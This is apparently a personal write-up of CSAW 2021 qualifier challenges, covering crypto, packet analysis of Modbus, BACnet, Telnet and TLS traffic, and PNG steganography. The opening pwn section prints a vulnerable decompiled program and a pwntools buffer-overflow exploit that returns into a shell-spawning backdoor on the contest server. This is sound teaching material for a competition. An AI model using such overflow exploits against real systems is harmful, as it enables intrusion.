CSAW 2021 Qualifier Writeup
Warm-up
Password Checker
Charlie forgot his password to login into his Office portal. Help him to find it.
This challenge is a basic buffer overflow pwn challenge and is a good warmup for the category. Here is the decompiled C code.
undefined8 main(EVP_PKEY_CTX *param_1)
{
init(param_1);
password_checker();
return 0;
}
void password_checker(void)
{
undefined8 local_a8;
undefined local_a0;
char local_78 [48];
char local_48 [60];
int local_c;
printf("Enter the password to get in: \n>");
gets(local_48);
strcpy(local_78,local_48);
local_a8 = 0x64726f7773736170;
local_a0 = 0;
local_c = strcmp(local_78,(char *)&local_a8);
if (local_c == 0) {
printf("You got in!!!!");
}
else {
printf("This is not the password");
}
return;
}
void backdoor(void)
{
system("/bin/sh");
return;
}
Our basic goal here is to overflow the buffer local_48 and overwrite the return address to point to backdoor(). We can see that the buffer is 60-bytes in size but we probably need to put a few more bytes to overwrite to $rip. Through testing with gdb I found the final value to be 72-bytes. All that’s left is to craft our payload and send it to the server running the binary.
from pwn import *
r = remote('pwn.chal.csaw.io', 5000)
# Add junk data
payload = b'a'*72
# Add backdoor() function address
payload += p64(0x401172)
r.recvuntil(b'Enter the password to get in:')
r.sendline(payload)
r.interactive()
After the exploit runs, all that’s left is to issue a cat command to read flag.txt.
Crypto
Gotta Decrypt Them All
Can you decrypt them all?
To start off this challenge we are only given an address and port to netcat to. Let’s see what happens.
The server prints out some Morse code and then after a few seconds cuts the connection after saying we were too slow to decrypt it. Seems easy enough, let’s decode this Morse.
I decoded the Morse code using Cyberchef, however, the result seems to be encoded as well. This time in decimal. Before submitting let’s see if decoding the decimal results in anything interesting.
Interesting, the result of this step seems to also be encoded, this time in base-64. Alright, let’s decode one more time.
Finally, we have normal looking text. However, this set of text appears to be components to RSA. Unfortunately, we don’t have all the components to decrypt it normally. But on the other hand, e has the very low value of 3, so perhaps it’s weak to some sort attack. In this case, this e value makes the setup weak to a cube root attack.
RsaCtfTool confirms that it is vulnerable and therefore all we need to do to get the plaintext is take the cube root of c. However, the result of this is also encoded with what appears to be a shift cipher. Reversing the shift with ROT13 results in the following text:
Pokemon Names
That was a bit of work but let’s input it into the server and see what happens.
Well it looks it worked but we have to do the whole process again and unfortunately this time the resulting plaintext isn’t constant. Each set of Morse code following the initial one corresponds to a Pokémon’s name. There are a lot of Pokémon so making a script to do all the work for us would be the best way to continue.
import base64
from pwn import *
from Crypto.Util.number import long_to_bytes
from sympy import integer_nthroot
morse_dict = {'1':'.----',
'2':'..---',
'3':'...--',
'4':'....-',
'5':'.....',
'6':'-....',
'7':'--...',
'8':'---..',
'9':'----.',
'0':'-----'}
def decrypt_morse(message):
result = list()
c = ''
number = ''
for letter in message:
if letter != ' ' and letter != '/':
i = 0
c += letter
else:
i += 1
if i == 2:
result.append(int(number))
number = ''
else:
number += list(morse_dict.keys())[list(morse_dict.values()).index(c)]
c = ''
return result
def decode_decimal_list(decimals):
result = ""
for number in decimals:
result += chr(number)
return result
def decode_base64(string):
string += "="
message = base64.b64decode(string)
return message.decode().split()
# ROT13 Function Source: https://www.dotnetperls.com/rot13-python
def rot13(s):
result = ""
# Loop over characters.
for v in s:
# Convert to number with ord.
c = ord(v)
# Shift number back or forward.
if c >= ord('a') and c <= ord('z'):
if c > ord('m'):
c -= 13
else:
c += 13
elif c >= ord('A') and c <= ord('Z'):
if c > ord('M'):
c -= 13
else:
c += 13
# Append to result.
result += chr(c)
# Return transformation.
return result
def _decrypt():
r.recvuntil(b'What does this mean?')
r.recvline()
morse = r.recvline().strip().decode()
decimals = decrypt_morse(morse)
b64 = decode_decimal_list(decimals)
rsa_message = decode_base64(b64)
rot_message = integer_nthroot(int(rsa_message[8]), 3)[0]
rot_message = long_to_bytes(rot_message).decode()
print(rot_message)
plaintext = rot13(rot_message)
print(plaintext)
return plaintext
r = remote('crypto.chal.csaw.io', 5001)
r.recvuntil(b'What does this mean?')
r.recvline()
r.recvline()
r.sendline(b'Pokemon Names')
print(r.recvline())
for i in range(5):
plain = _decrypt()
print(plain.encode())
r.sendline(plain.encode())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
The script I created is a bit messy but it gets the job done (most of the time). It does all the steps we did previously on every subsequent code sent by the server. Sometimes it fumbles with decrypting the RSA ciphertext but eventually with a handful of tries it succeeds in decrypting all Morse code sets.
With a tiny bit of experimentation, I learned that the server only sends 5 encoded Pokémon names to us before printing the flag. Here is the result of the script and the challenge’s flag.
ICS
The Magic Modbus
Climb on the Magic Modbus and see if you can find some of the messages being passed around!
This is an interesting challenge that is almost a crossover of hardware and a packet capture. The capture focusses on the Modbus protocol which is used for industrial electronic communications. The first thing we can notice after opening the capture in Wireshark is we have a couple of types of packets: queries and responses.
Query packets didn’t reveal much plaintext data to us. However, responses contained a single value from the queried register. Figure 3-1 shows that these values definitely look like decimal values for ascii characters. Let’s examine the TCP stream to see if there is anything to this.
The stream data contains both the queries and responses. Let’s filter this conversation down to only responses to see what the values could be.
Just glancing at this definitely reveals there is a flag in this stream. There is a bit of “noise” to our flag right now so let’s remove that.
Using Cyberchef to do a quick find/replace, I removed the noise and revealed the flag.
A Pain in the BAC(net)
One of the analog sensors reported values way outside of its normal operating range.
Can you determine the object name of this analog sensor?
Flag Format: flag{Name-of-sensor}
This is another interesting hardware / packet analysis challenge involving a SCADA system packet capture.
From the start of the capture we can see a bunch of request and response packets to specific analog sensors. There are 8 total sensors and they measure various things like temperature, voltage, lumens, etc. Unfortunately, in the current state its hard to find a baseline for these values. To fix it up a bit I sorted the packets by their info.
The packets are now sorted by the sensor number (1-8). Now we can look at the object name, units of the sensor, and then go through the present-value packets to see if anything looks out of place. Most of the sensors seemed to have normal looking values across the capture.
Here is Sensor_12345 (number 7 but its object-name is Sensor_12345) which measure kilowatt hours. It has a normal operating value around 1500 kWh within the capture. However, at some point it changes.
The Kilowatt hours measurement spikes to 9999 and stays there for a few captures. This is definitely odd behaviour and definitely not within the normal we saw in previous packets. Submitting this sensor as our flag seems like the best bet and does indeed solve the challenge.
flag{Sensor_12345}
Forensics
Lazy Leaks
Someone at a company was supposedly using an unsecured communication channel.
A dump of company communications was created to find any sensitive info leaks.
See if you can find anything suspicious or concerning.
This challenge is a simple packet capture analysis. There isn’t much trickery going on here, the packets are mostly SSH and some Telnet. Since SSH would be encrypted it won’t be of much use to analyze that. However, Telnet is a plaintext protocol so there might be some details there out in the open. I decided to lazily search for the word flag and see what happens.
Turns out lazy was the right approach. One of the Telnet packets contained the flag and the challenge is already complete.
Contact Us
Veronica sent a message to her client via their website's Contact Us page.
Can you find the message?
Contact Us is a step into some TLS traffic analysis. Fortunately, this analysis doesn’t differ too much from a normal one since we are given an SSL key file as well. We can input this file into Wireshark through Edit > Preferences > Protocols > TLS and insert the file location into the (Pre)-Master-Secret log filename section.
Now a majority of the TLS packets in the capture should be decoded and readable by us. The challenge hinted at a Contact Us page so I started by searching for that.
After skipping through a number of results I found just the right one. The packet contained both “Contact Us” as well as the flag.
Sonicgraphy Fallout
A hacker named Blue_Blur was recently arrested and is accused of hiding some evidence.
The evidence was reported to have been hidden in the hacker's OC Sonic comic.
See if you can find any hidden files.
For this challenge we are given a zip file containing a bunch of pictures from the mentioned Sonic comic. Let’s take a look at what we have.
We have a bunch of pngs and jpgs from the comic. Weirdly enough most of these files have a huge file size so something has to be hidden in at least one of them. Since there are a bunch of png files, I decided to examine those first with pngcheck.
Pngcheck picks up 2 files with errors in them. Buzz Bomber Fight 2.png appears to be neither a png nor a jpg and Page 7.png has some data after the IEND chunk. Page 7.png seems the most suspicious since data after the IEND chunk has no effect on the image. This makes it a perfect place to hide extra data in the file. Let’s look into it.
Aha! There is another file header after the IEND tag, it appears to be an mp4 header. To extract this data I used dd to trim the starting bytes off Page 7.png. As a side note, I did have to make a copy of the file named p7.png because dd has a problem with spaces in file names.
The command I use here skips until directly after the IEND tag and outputs the remaining bytes to output.out. Let’s check out what’s in this video.
The video shows Sonic giving us a thumbs up and, more importantly, the flag.
Conclusion
The CSAW-2021 Qualifiers were an interesting set of challenges with very stable infrastructure. Only a few things held it back (mostly some guessy web challenges) and I learned quite a bit from the challenges. Definitely a good time and I look forward to next year.
Lessons Learned
- Basic Buffer Overflow
- Cube Root Attack on Low Exponent RSA
- Basic Modbus Protocol Capture Analysis
- SCADA Traffic Analysis
- TLS Traffic Decoding in Wireshark
- PNG Steganography - Hidden Files After IEND